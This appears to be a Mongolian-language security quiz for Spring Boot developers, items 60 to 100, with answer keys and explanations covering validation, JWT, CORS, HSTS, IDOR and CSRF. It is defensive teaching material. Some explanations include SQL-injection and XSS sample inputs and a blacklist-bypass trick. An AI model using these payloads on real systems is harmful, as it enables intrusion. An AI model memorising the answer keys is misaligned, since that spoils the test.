Тайлбар: CVE-2021-44228 = Log4Shell. CVE-2023-34362 = MOVEit. Dependency-Check = CVE жагсаалтаар шалгана. CVSS score = Аюулын түвшин (0-10).
Тест 60
@Pattern(regexp = "^[a-zA-Z]+$") юу хийдэг вэ?
- A) Бүгдийг зөвшөөрөх
- B) Оролт зөвхөн ҮСЭГ байх ёстой гэсэн REGEX шалгалт
- C) Тоо шалгах
- D) Email шалгах
Зөв хариулт: B
Тайлбар:
^[a-zA-Z]+$= Зөвхөн A-Z, a-z.<script>,' OR 1=1, тоо → Хориглогдоно. Whitelist approach = Зөвхөн зөвшөөрөгдсөн тэмдэгтүүд.
Тест 61
Whitelist vs Blacklist validation-ийн аль нь аюулгүй вэ?
- A) Blacklist
- B) WHITELIST — Зөвхөн ЗӨВШӨӨРӨГДСӨН оролтыг хүлээн авах (бусдыг бүгдийг хориглох)
- C) Хоёулаа ижил
- D) Шалгалт хэрэггүй
Зөв хариулт: B
Тайлбар: Blacklist =
<script>хориглох →<SCRIPT>,<scr<script>ipt>→ Тойрч гарна! Whitelist = Зөвхөн[a-zA-Z0-9]→ Бусад БҮГД хориглогдоно → Илүү аюулгүй.
Тест 62
Penetration Testing (Pen Test) гэж юу вэ?
- A) Unit тест
- B) Системд ЗОРИУДААР ХАЛДАЖ, аюулгүй байдлын сул талыг олох — "Ethical hacking"
- C) Integration тест
- D) Load тест
Зөв хариулт: B
Тайлбар: Pen test = Мэргэжлийн "хакер" таны системд халдана (зөвшөөрөлтэй). SQL Injection, XSS, Broken Auth зэрэг оролдоно. Тайлан → Засварлах. OWASP ZAP, Burp Suite.
Тест 63
Security Logging яагаад чухал вэ?
- A) Шаардлагагүй
- B) Халдлага, нэвтрэлтийн оролдлого, алдааг БҮРТГЭЖ, аюулыг ЭРТ ОЛОХ
- C) Зөвхөн debug
- D) Зөвхөн хөгжүүлэлтэд
Зөв хариулт: B
Тайлбар: Лог: "bat@test.com 5 удаа буруу password (brute force?)", "ADMIN endpoint-д STUDENT хандлаа". OWASP A09 = Logging Failures. Лог хангалтгүй → Халдлагыг олж ЧАДАХГҮЙ.
Тест 64
@DecimalMin ба @DecimalMax юу хийдэг вэ?
- A) String шалгах
- B) Тоон утгын ХАМГИЙН БАГА ба ХАМГИЙН ИХ утгыг шалгах
- C) Date шалгах
- D) Boolean шалгах
Зөв хариулт: B
Тайлбар:
@DecimalMin("0.0") @DecimalMax("4.0")GPA = 0.0-4.0. -1.0 → Алдаа. 5.0 → Алдаа. 3.5 → ОК. Input validation = Бизнес дүрэм хэрэгжүүлэх.
Тест 65
HSTS (HTTP Strict Transport Security) юу хийдэг вэ?
- A) HTTP зөвшөөрөх
- B) Browser-д ЗӨВХӨН HTTPS ашиглахыг шаардах — HTTP → HTTPS автомат redirect
- C) Cookie хамгаалах
- D) CORS тохируулах
Зөв хариулт: B
Тайлбар:
Strict-Transport-Security: max-age=31536000= 1 жил. Browser:http://myapp.com→ автоматаарhttps://myapp.com. SSL stripping халдлагаас хамгаална.
Тест 66
Insecure Direct Object Reference (IDOR) гэж юу вэ?
- A) Зөв хандалт
- B)
/api/users/123→ Өөр хэрэглэгчийн ID солиж (/api/users/456) МЭДЭЭЛЭЛ АВАХ - C) SQL Injection
- D) XSS
Зөв хариулт: B
Тайлбар: IDOR = URL-д ID солиод бусдын мэдээлэл. Хамгаалалт: Authorization шалгах — "ID 456 = Чиний мэдээлэл мөн үү?"
@securityService.isOwner(#id, authentication).
Тест 67
Password policy яагаад чухал вэ?
- A) Шаардлагагүй
- B) Сул password (123456) BRUTE FORCE-д маш хялбар — 8+ тэмдэгт, тоо, тусгай тэмдэгт шаардах
- C) Зөвхөн урт
- D) Зөвхөн тоо
Зөв хариулт: B
Тайлбар: "123456", "password", "qwerty" = Хамгийн түгээмэл password. Password policy: 8+ тэмдэгт, uppercase, lowercase, тоо, тусгай тэмдэгт. Zxcvbn library = Хүчтэй байдал шалгах.
Тест 68
MethodArgumentNotValidException хэзээ үүсдэг вэ?
- A) DB алдаа
- B)
@Validannotation-тэй request body-ийн VALIDATION АМЖИЛТГҮЙ болоход - C) Auth алдаа
- D) Network алдаа
Зөв хариулт: B
Тайлбар:
@Valid @RequestBody CreateStudentRequest→ name = null →@NotBlankfail →MethodArgumentNotValidException. GlobalExceptionHandler-д барьж, 400 + алдааны мэдээлэл буцаана.
Тест 69
OncePerRequestFilter юу хийдэг вэ?
- A) Filter устгах
- B) Хүсэлт бүрт ЯАДАГ НЭГ удаа ажиллах filter — JWT Auth Filter-ийн суурь class
- C) Хоёр удаа ажиллах
- D) Ажиллахгүй
Зөв хариулт: B
Тайлбар:
OncePerRequestFilter= Redirect, forward хийсэн ч нэг хүсэлтэд НЭГ Л удаа ажиллана. JWT token-г давхар шалгахгүй. Spring Security filter-ийн стандарт суурь.
Тест 70
401 Unauthorized vs 403 Forbidden-ийн ялгаа юу вэ?
- A) Ялгаагүй
- B) 401 = НЭВТРЭЛТ шаардлагатай (token байхгүй/буруу), 403 = Нэвтэрсэн ч ЭРХ хүрэлцэхгүй
- C) 401 = Эрх байхгүй
- D) 403 = Token байхгүй
Зөв хариулт: B
Тайлбар: 401 = "Чи хэн бэ?" (JWT token байхгүй, expire). 403 = "Чи хэн болохыг мэднэ, гэхдээ энэ үйлдлийг хийх ЭРХ байхгүй" (STUDENT → DELETE).
Тест 71
Supply Chain халдлага гэж юу вэ?
- A) Кодын алдаа
- B) Таны ашигладаг LIBRARY, DEPENDENCY-д хортой код шигтгэх — SolarWinds, Log4Shell
- C) SQL Injection
- D) XSS
Зөв хариулт: B
Тайлбар: SolarWinds (2020) = Build системд хортой код нэмсэн → 18,000+ байгууллага. Dependency-Check, Dependabot, lock file (pom.xml checksum) ашиглах.
Тест 72
passwordEncoder.matches(rawPassword, hashedPassword) юу хийдэг вэ?
- A) Password шифрлэх
- B) Оруулсан password-г хадгалагдсан HASH-тэй ТУЛГАЖ, ТОХИРЧ БУЙГ шалгах
- C) Password хадгалах
- D) Hash устгах
Зөв хариулт: B
Тайлбар:
matches("myPassword", "$2a$12$LJ3m...")= "myPassword"-г bcrypt hash → Хадгалагдсан hash-тэй тулгах → true/false. Plaintext password ХЭЗЭЭ Ч хадгалахгүй.
Тест 73
Clickjacking халдлага гэж юу вэ?
- A) Button дарах
- B) Хортой вэб хуудасны IFRAME дотор байнгын сайт нуугдуулж, хэрэглэгчийг АНДУУРЧ дарах
- C) SQL Injection
- D) XSS
Зөв хариулт: B
Тайлбар: evil.com = "Шагнал авах" товч → Ард нь iframe: bank.com "Мөнгө шилжүүлэх". Хэрэглэгч "Шагнал" дарна → Бодит дээр мөнгө шилжүүлнэ!
X-Frame-Options: DENY.
Тест 74
SameSite cookie attribute юу хийдэг вэ?
- A) Cookie устгах
- B) Cookie-г ЗӨВХӨН ИЖИЛ сайтаас илгээхэд дагалдуулах — CSRF хамгаалалт
- C) Cookie шифрлэх
- D) Cookie хэмжээ
Зөв хариулт: B
Тайлбар:
SameSite=Strict= Зөвхөн ижил сайтаас.SameSite=Lax= Навигацийн GET зөвшөөрнө. evil.com POST → Cookie дагалдахгүй → CSRF хамгаалалт.
Тест 75
@EnableMethodSecurity юу хийдэг вэ?
- A) Method устгах
- B)
@PreAuthorize,@PostAuthorizeзэрэг METHOD ТҮВШНИЙ аюулгүй байдлын annotation ИДЭВХЖҮҮЛЭХ - C) Бүх method хориглох
- D) Бүх method зөвшөөрөх
Зөв хариулт: B
Тайлбар:
@EnableMethodSecurityбайхгүй бол@PreAuthorizeажиллахгүй! SecurityConfig-д нэмэх.prePostEnabled = true(default). Method бүрт нарийн эрх тохируулна.
Тест 76
Brute Force халдлага гэж юу вэ?
- A) Нэг удаа оролдох
- B) Бүх боломжит PASSWORD-г автоматаар оролдож, ЗӨВИЙГ ОЛОХ
- C) SQL Injection
- D) XSS
Зөв хариулт: B
Тайлбар: "aaa", "aab", "aac"... → "password" олдлоо! Rate Limiting (5 удаа/мин), Account Lockout (5 удаа буруу → 15 мин түгжих), MFA = Хамгаалалт.
Тест 77
Keycloak юу вэ?
- A) Database
- B) Нээлттэй эх IDENTITY ба ACCESS MANAGEMENT сервер — SSO, OAuth 2.0, RBAC
- C) API Gateway
- D) Load Balancer
Зөв хариулт: B
Тайлбар: Keycloak = Red Hat. Нэвтрэлт, бүртгэл, SSO, MFA, Social login бүгдийг удирдана. Spring Boot + Keycloak = Нэвтрэлтийн кодыг өөрөө бичихгүй.
Тест 78
Claims (JWT) гэж юу вэ?
- A) Cookie
- B) JWT Payload дотор хадгалагдсан МЭДЭЭЛЭЛ — sub (email), role, exp (expire), iat (issued at)
- C) Header
- D) Signature
Зөв хариулт: B
Тайлбар: Claims = Key-value pair.
sub: "bat@test.com",role: "ADMIN",exp: 1700000000. Custom claim нэмж болно. Чухал: JWT payload = Base64 encode (шифрлэгдээгүй!).
Тест 79
JWT Signature яагаад чухал вэ?
- A) Шаардлагагүй
- B) Token-г хэн нэгэн ӨӨРЧЛӨӨГҮЙ гэдгийг БАТАЛГААЖУУЛАХ — Integrity
- C) Token шифрлэх
- D) Token устгах
Зөв хариулт: B
Тайлбар: Signature = HMAC-SHA256(header + payload, secret). Хэн нэгэн payload-г өөрчилвөл → Signature таарахгүй → Token invalid. Secret-г зөвхөн сервер мэднэ.
Тест 80
API Key vs JWT-ийн ялгаа юу вэ?
- A) Ялгаагүй
- B) API Key = ТОГТМОЛ string (expire байхгүй), JWT = ХЭРЭГЛЭГЧИЙН мэдээлэл + expire + signature
- C) API Key = Динамик
- D) JWT = Тогтмол
Зөв хариулт: B
Тайлбар: API Key = Service-to-service (backend → backend). JWT = User authentication (frontend → backend). JWT = Expire, role, claims → Илүү мэдээлэлтэй.
Тест 81
CORS preflight request гэж юу вэ?
- A) GET хүсэлт
- B) Browser-аас OPTIONS method-аар серверийн CORS тохиргоог УРЬДЧИЛАН шалгах
- C) POST хүсэлт
- D) DELETE хүсэлт
Зөв хариулт: B
Тайлбар: POST + Custom header → Browser эхлээд OPTIONS хүсэлт → Server:
Access-Control-Allow-*header → OK → Бодит POST хүсэлт. Simple GET бол preflight байхгүй.
Тест 82
DDoS (Distributed Denial of Service) гэж юу вэ?
- A) Нэг компьютерээс
- B) ОЛОН компьютерээс ЗЭРЭГ хүсэлт илгээж, серверийг АЖИЛЛАХГҮЙ болгох
- C) SQL Injection
- D) XSS
Зөв хариулт: B
Тайлбар: Botnet = 100,000+ компьютер зэрэг хүсэлт. Сервер хариу өгч чадахгүй → Down. CDN (Cloudflare), Rate Limiting, Auto-scaling = Хамгаалалт.
Тест 83
Jwts.builder().signWith(getSigningKey()) юу хийдэг вэ?
- A) Token устгах
- B) JWT token-г SECRET KEY-ээр ГАРЫН ҮСЭГ зурах (sign) — Integrity баталгаажуулалт
- C) Token шифрлэх
- D) Token decode хийх
Зөв хариулт: B
Тайлбар:
signWith(key)= HMAC-SHA256 ашиглан signature үүсгэнэ. Verify хийхэд ижил key хэрэгтэй. Key задарвал → Хэн ч token үүсгэнэ → KEY НУУЦ!
Тест 84
${DB_PASSWORD} (application.yml) юу хийдэг вэ?
- A) Password кодонд бичих
- B) ENVIRONMENT VARIABLE-аас DB password утга авах — Кодонд password БАЙХГҮЙ
- C) Default password
- D) Password шифрлэх
Зөв хариулт: B
Тайлбар:
${DB_PASSWORD}= OS environment variable.export DB_PASSWORD=secret123. Кодонд password ХЭЗЭЭ Ч hardcode хийхгүй! Docker:environment:, K8s:Secret.
Тест 85
Access-Control-Allow-Credentials: true юу хийдэг вэ?
- A) Бүгдийг зөвшөөрөх
- B) CORS хүсэлтэд COOKIE дагалдуулах зөвшөөрөл
- C) Бүгдийг хориглох
- D) Token устгах
Зөв хариулт: B
Тайлбар:
allowCredentials(true)= Cookie, Authorization header дамжуулна.allowedOrigins("*")+allowCredentials(true)= ХАМТ АШИГЛАХГҮЙ! Тодорхой domain зааж өгөх.
Тест 86
Phishing халдлага гэж юу вэ?
- A) Code халдлага
- B) Хуурамч EMAIL, ВЭБСАЙТ ашиглан хэрэглэгчийн PASSWORD, мэдээлэл ХУЛГАЙЛАХ
- C) SQL Injection
- D) DDoS
Зөв хариулт: B
Тайлбар: "Таны bank account түгжигдлээ" email → Хуурамч bank.com → Password оруулна → Хулгайлагдна! MFA, Security awareness training = Хамгаалалт.
Тест 87
Man-in-the-Middle (MitM) халдлага гэж юу вэ?
- A) Server халдлага
- B) Хоёр талын ХОЛБООНЫ ЗАВСАРТ суугаад, өгөгдлийг УНШИЖ, ӨӨРЧЛӨХ
- C) SQL Injection
- D) XSS
Зөв хариулт: B
Тайлбар: Нийтийн WiFi: Client → Хакер → Server. HTTP = Plaintext → Хакер бүгдийг уншина. HTTPS = Шифрлэгдсэн → Хакер ойлгохгүй. HTTPS = MitM-ийн эсрэг.
Тест 88
.env файлыг .gitignore-д яагаад нэмэх ёстой вэ?
- A) Шаардлагагүй
- B)
.envфайлд PASSWORD, API KEY байдаг → Git push хийвэл БҮГДЭД ХАРАГДАНА - C) Хурдасгах
- D) File хэмжээ
Зөв хариулт: B
Тайлбар:
.env=DB_PASSWORD=secret123,JWT_SECRET=.... Git push → GitHub (public) → Бүх дэлхий уншина!.gitignore-д нэмж, ХЭЗЭЭ Ч push хийхгүй.
Тест 89
Refresh Token гэж юу вэ?
- A) Access token
- B) Access token EXPIRE болоход шинэ access token авахад ашиглах УРТТАЙ token
- C) Password
- D) Session
Зөв хариулт: B
Тайлбар: Access token = 15-60 мин (богино). Refresh token = 7-30 хоног (урт). Access expire → Refresh token +
/api/auth/refresh→ Шинэ access token. Дахин login хийхгүй.
Тест 90
Security audit trail гэж юу вэ?
- A) Код review
- B) ХЭЗЭЭ, ХЭН, ЮУ хийсэнг БҮРТГЭСЭН ЛОГ — Мөрдөн шалгахад ашиглана
- C) Unit тест
- D) Deploy лог
Зөв хариулт: B
Тайлбар: "2024-01-15 10:30 bat@test.com LOGIN SUCCESS", "2024-01-15 10:35 bat@test.com DELETE student/5 DENIED". Incident болоход → Лог шалгана → Хэн юу хийсэнг мэднэ.
Тест 91
Cross-Origin хүсэлт гэж юу вэ?
- A) Ижил domain
- B) ӨӨӨР protocol, domain, эсвэл port-оос хүсэлт илгээх
- C) Ижил port
- D) Ижил protocol
Зөв хариулт: B
Тайлбар:
https://myapp.com→https://api.myapp.com= Өөр domain → Cross-Origin.http://localhost:3000→http://localhost:8080= Өөр port → Cross-Origin.
Тест 92
hasAnyRole('ADMIN', 'TEACHER') юу хийдэг вэ?
- A) Бүх role
- B) ADMIN ЭСВЭЛ TEACHER дүртэй хэрэглэгч хандах боломжтой
- C) Зөвхөн ADMIN
- D) Зөвхөн TEACHER
Зөв хариулт: B
Тайлбар:
hasAnyRole= Аль нэг role таарвал → Зөвшөөрнө.hasRole('ADMIN')= Зөвхөн ADMIN.hasAuthority('DELETE_STUDENT')= Permission түвшинд.
Тест 93
Encryption at Rest vs In Transit-ийн ялгаа юу вэ?
- A) Ялгаагүй
- B) At Rest = ХАДГАЛАГДСАН өгөгдөл шифрлэх (DB), In Transit = ДАМЖУУЛАГДАЖ буй өгөгдөл шифрлэх (HTTPS)
- C) At Rest = Network
- D) In Transit = Database
Зөв хариулт: B
Тайлбар: At Rest = DB encryption, disk encryption. Хакер диск хулгайлсан ч → Уншихгүй. In Transit = HTTPS/TLS. Хакер network сонссон ч → Ойлгохгүй. Хоёулаа хэрэгтэй.
Тест 94
SecurityContextHolder юу хийдэг вэ?
- A) Cookie хадгалах
- B) Одоогийн хэрэглэгчийн AUTHENTICATION мэдээллийг хадгалах (thread-local)
- C) Session хадгалах
- D) Token хадгалах
Зөв хариулт: B
Тайлбар: JWT filter →
SecurityContextHolder.getContext().setAuthentication(authToken). Controller, Service доторSecurityContextHolder.getContext().getAuthentication()= Одоогийн хэрэглэгч.
Тест 95
Social Engineering халдлага гэж юу вэ?
- A) Кодын алдаа
- B) ХҮНИЙГ МЭХЛЭЖ, нууц мэдээлэл авах — Phishing, pretexting, баits
- C) SQL Injection
- D) Brute Force
Зөв хариулт: B
Тайлбар: "Би IT admin, password-оо хэлнэ үү" = Social engineering. Техникийн хамгаалалт биш → Хүнийг сургах. Security awareness training, MFA = Хамгаалалт.
Тест 96
Jwts.parser().verifyWith(key).build() юу хийдэг вэ?
- A) Token үүсгэх
- B) JWT token-г KEY ашиглан БҮРЭН БҮТЭН БАЙДЛЫГ шалгаж, ЗАДЛАХ (parse + verify)
- C) Token устгах
- D) Token шифрлэх
Зөв хариулт: B
Тайлбар:
verifyWith(key)= Signature шалгах. Token өөрчлөгдсөн бол →SignatureException. Expire болсон бол →ExpiredJwtException. Амжилттай бол → Claims авна.
Тест 97
Principle of Fail Securely гэж юу вэ?
- A) Алдаа гарахад нээх
- B) Алдаа гарахад систем АЮУЛГҮЙ ТӨЛӨВТ шилжих — Хандалт ХААХ (нээхгүй)
- C) Алдааг нуух
- D) Алдааг үл тоох
Зөв хариулт: B
Тайлбар: Auth service унтарсан бол → Бүх хандалтыг ХААХ (хэрэглэгч нэвтрэхгүй). НЭЭХГҮЙ (бүгдийг зөвшөөрөхгүй). Default = DENY.
Тест 98
maxAge(3600) (CORS тохиргоо) юу хийдэг вэ?
- A) Cookie хугацаа
- B) Preflight (OPTIONS) хариуг 3600 секунд (1 цаг) КЭШЛЭХ — Дахин OPTIONS хүсэлт илгээхгүй
- C) Token хугацаа
- D) Session хугацаа
Зөв хариулт: B
Тайлбар: Preflight = Нэмэлт OPTIONS хүсэлт → Удаашрал.
maxAge(3600)= 1 цагийн турш кэшлэнэ → Preflight дахин хийхгүй → Хурдасна.
Тест 99
Аюулгүй байдлыг хөгжүүлэлтийн ямар үе шатанд анхаарах ёстой вэ?
- A) Зөвхөн тестэд
- B) БҮХИЙ Л үе шатанд — Дизайн, кодчилол, тест, deploy, мониторинг (Shift-Left Security)
- C) Зөвхөн deploy-д
- D) Зөвхөн мониторинг-д
Зөв хариулт: B
Тайлбар: Shift-Left Security = Аюулгүй байдлыг ЭХНЭЭС. Дизайн: Threat modeling. Код: Secure coding. CI: SAST, dependency scan. Deploy: HTTPS, headers. Production: Мониторинг, лог.
Тест 100
Програм хангамжийн аюулгүй байдал яагаад хамгийн чухал вэ?
- A) Зөвхөн том компанид
- B) Хэрэглэгчийн МЭДЭЭЛЭЛ, ИТГЭЛ, БИЗНЕСИЙГ хамгаалах — Нэг эмзэг байдал = Сая хэрэглэгчийн өгөгдөл
- C) Зөвхөн банкинд
- D) Зөвхөн засгийн газарт
Зөв хариулт: B
Тайлбар: Equifax = 147 сая хүний мэдээлэл задарсан. Log4Shell = Бүх Java систем эрсдэлтэй. Аюулгүй байдал = Feature биш, ШААРДЛАГА. "Security is everyone's responsibility."
📚 Ашигласан эх сурвалжууд:
- OWASP Foundation — OWASP Top 10 (2021) (owasp.org/Top10)
- Spring Security Reference Documentation (docs.spring.io/spring-security)
- RFC 7519 — JSON Web Token (JWT)
- RFC 6749 — OAuth 2.0 Authorization Framework
- NIST SP 800-63B — Digital Identity Guidelines (Authentication)
- Adam Shostack — Threat Modeling: Designing for Security (Wiley, 2014)
- Jim Manico, August Detlefsen — Iron-Clad Java: Building Secure Web Applications (McGraw-Hill, 2015)
- Troy Hunt — Have I Been Pwned (haveibeenpwned.com)